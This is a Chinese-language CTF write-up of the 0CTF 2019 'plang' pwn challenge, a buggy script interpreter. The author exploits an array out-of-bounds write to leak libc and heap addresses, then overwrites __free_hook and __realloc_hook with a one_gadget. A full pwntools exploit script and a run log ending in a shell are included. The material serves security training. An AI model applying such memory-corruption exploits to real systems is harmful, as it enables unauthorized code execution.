0ctf2019 pwn plang writeup

一个有漏洞的解释器,已经给我们溢出payload,需要我们根据该溢出点来拿shell。

源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/plang

安全防护

ex@Ex:~/test$ checksec plang
[*] '/home/ex/test/plang'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出payload:POC

var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0x80000000] = 0x123

数组越界。

分析

程序是一个比较复杂的解释器,要反汇编该程序是很困难,而且也没有必要,我们只要关注官方给的溢出payload,然后利用该漏洞深挖就行。

调试发现字符串并不存在溢出,因为字符串有长度限制,但是数组存在溢出。

原本想寻找字符串的引用地址,并修改该引用地址来实现任意地址读,奈何储存字符串的结构过于复杂,也就换了个方向,从数组的引用地址进行突破,之后发现数组结构是没有检查的,可以直接指向任何地址,那就意味着任意地址写漏洞

思路

  1. 利用数组溢出修改字符串长度
  2. 字符串泄露地址
  3. 劫持 hook 拿shell

利用数组溢出修改字符串长度

字符串虽然有长度限制,但是我们可以利用溢出的数组来修改它的长度,这样我们就能读取从该字符串开始到heap末尾的所有地址,但是通过调试可以发现不能读到libc地址

interpret('var str = "aaaaaaaa"')
interpret('var list = [%lf, %lf, %lf, %lf]' % struct.unpack('dddd', 'b' * 8 + 'c' * 8 + 'd' * 8 + 'e' * 8))

# 0x70000008 is new size
interpret('list[-129] = %lf' % struct.unpack('d', p64(0x70000008ad1ef3ed)))

字符串泄露地址

可以通过heap上的main_arena来泄露libc,利用tcache的fd泄露heap地址(虽然没用到)。

# leak libc in heap
interpret('var str2 = "%s"' % ('h' * 0x300))

offset = 2856
all_list = [i + offset for i in range(8)]
interpret('System.print(str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d])' % tuple(all_list))
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

offset = 48
all_list = [i + offset for i in range(8)]
interpret('System.print(str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d])' % tuple(all_list))
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0xd710
log.success('heap_addr: ' + hex(heap_addr))
str_offset_addr = heap_addr + 0x15370
log.success('str_offset_addr: ' + hex(str_offset_addr))

其中的offset是根据heap的具体情况而调试出来的,由于每次操作heap的行为一致,所以该偏移也不会变。

劫持 hook 拿shell

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

利用数组的任意地址写漏洞改hook,由于单改__realloc_hook并不能满足约束条件,所以这里通过__free_hook__realloc_hook的组合来满足约束条件,从而拿到shell。

至于为什么不用malloc_hook来组合的原因,在调试时会发现改了__malloc_hook之后程序就会crash,尝试了很多次都是这样,所以后面就用free_hook。

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
__realloc_hook_addr = libc_addr + libc.symbols['__realloc_hook']
log.success('__realloc_hook_addr: ' + hex(__realloc_hook_addr))

one_gadget_addr = libc_addr + 0x4f322
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# __free_hook
interpret('list[-29]=%.1800lf' % struct.unpack('d', p64(__free_hook_addr - 8)))
interpret('list[0]=%.1800lf' % struct.unpack('d', p64(one_gadget_addr)))

interpret('var list2 = [%lf, %lf]' %  struct.unpack('dd', 'x' * 8 + 'y' * 8))
# __realloc_hook
interpret('list2[-2]=%.1800lf' % struct.unpack('d', p64(__realloc_hook_addr - 8)))
interpret('list2[0]=%.1800lf' % struct.unpack('d', p64(libc_addr + libc.symbols['free'] + 6)))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './plang'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    define se
        search -s aaaaaaaa heap
        search -s bbbbbbbb heap
        search -s rrrrrrrr heap
        search -s xxxxxxxx heap
        search -s yyyyyyyy heap
        end

    define s0
        set *(size_t *)($arg0)=$arg1
        end

    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def interpret(content):
    sh.sendlineafter('> ', content)

# pause()
interpret('var str = "aaaaaaaa"')
interpret('var list = [%lf, %lf, %lf, %lf]' % struct.unpack('dddd', 'b' * 8 + 'c' * 8 + 'd' * 8 + 'e' * 8))

# 0x70000008 is new size
interpret('list[-129] = %lf' % struct.unpack('d', p64(0x70000008ad1ef3ed)))
# leak libc in heap
interpret('var str2 = "%s"' % ('h' * 0x300))

offset = 2856
all_list = [i + offset for i in range(8)]
interpret('System.print(str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d])' % tuple(all_list))
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

offset = 48
all_list = [i + offset for i in range(8)]
interpret('System.print(str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d]+str[%d])' % tuple(all_list))
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0xd710
log.success('heap_addr: ' + hex(heap_addr))
str_offset_addr = heap_addr + 0x15370
log.success('str_offset_addr: ' + hex(str_offset_addr))

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
__realloc_hook_addr = libc_addr + libc.symbols['__realloc_hook']
log.success('__realloc_hook_addr: ' + hex(__realloc_hook_addr))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget_addr = libc_addr + 0x4f322
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# __free_hook
interpret('list[-29]=%.1800lf' % struct.unpack('d', p64(__free_hook_addr - 8)))
interpret('list[0]=%.1800lf' % struct.unpack('d', p64(one_gadget_addr)))

interpret('var list2 = [%lf, %lf]' %  struct.unpack('dd', 'x' * 8 + 'y' * 8))
# __realloc_hook
interpret('list2[-2]=%.1800lf' % struct.unpack('d', p64(__realloc_hook_addr - 8)))
interpret('list2[0]=%.1800lf' % struct.unpack('d', p64(libc_addr + libc.symbols['free'] + 6)))

sh.interactive()

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/plang'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[+] main_arena_addr: 0x7fd6b1810c40
[+] libc_addr: 0x7fd6b1425000
[+] heap_addr: 0x555f2c731000
[+] str_offset_addr: 0x555f2c746370
[+] __free_hook_addr: 0x7fd6b18128e8
[+] __realloc_hook_addr: 0x7fd6b1810c28
[+] one_gadget_addr: 0x7fd6b1474322
[*] Switching to interactive mode
> > > > $ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
flag
plang
$  

总结

有时候过于复杂的程序,没有必要在静态分析上死磕,有时候或许问题真的很简单,只是我们想的过于复杂了。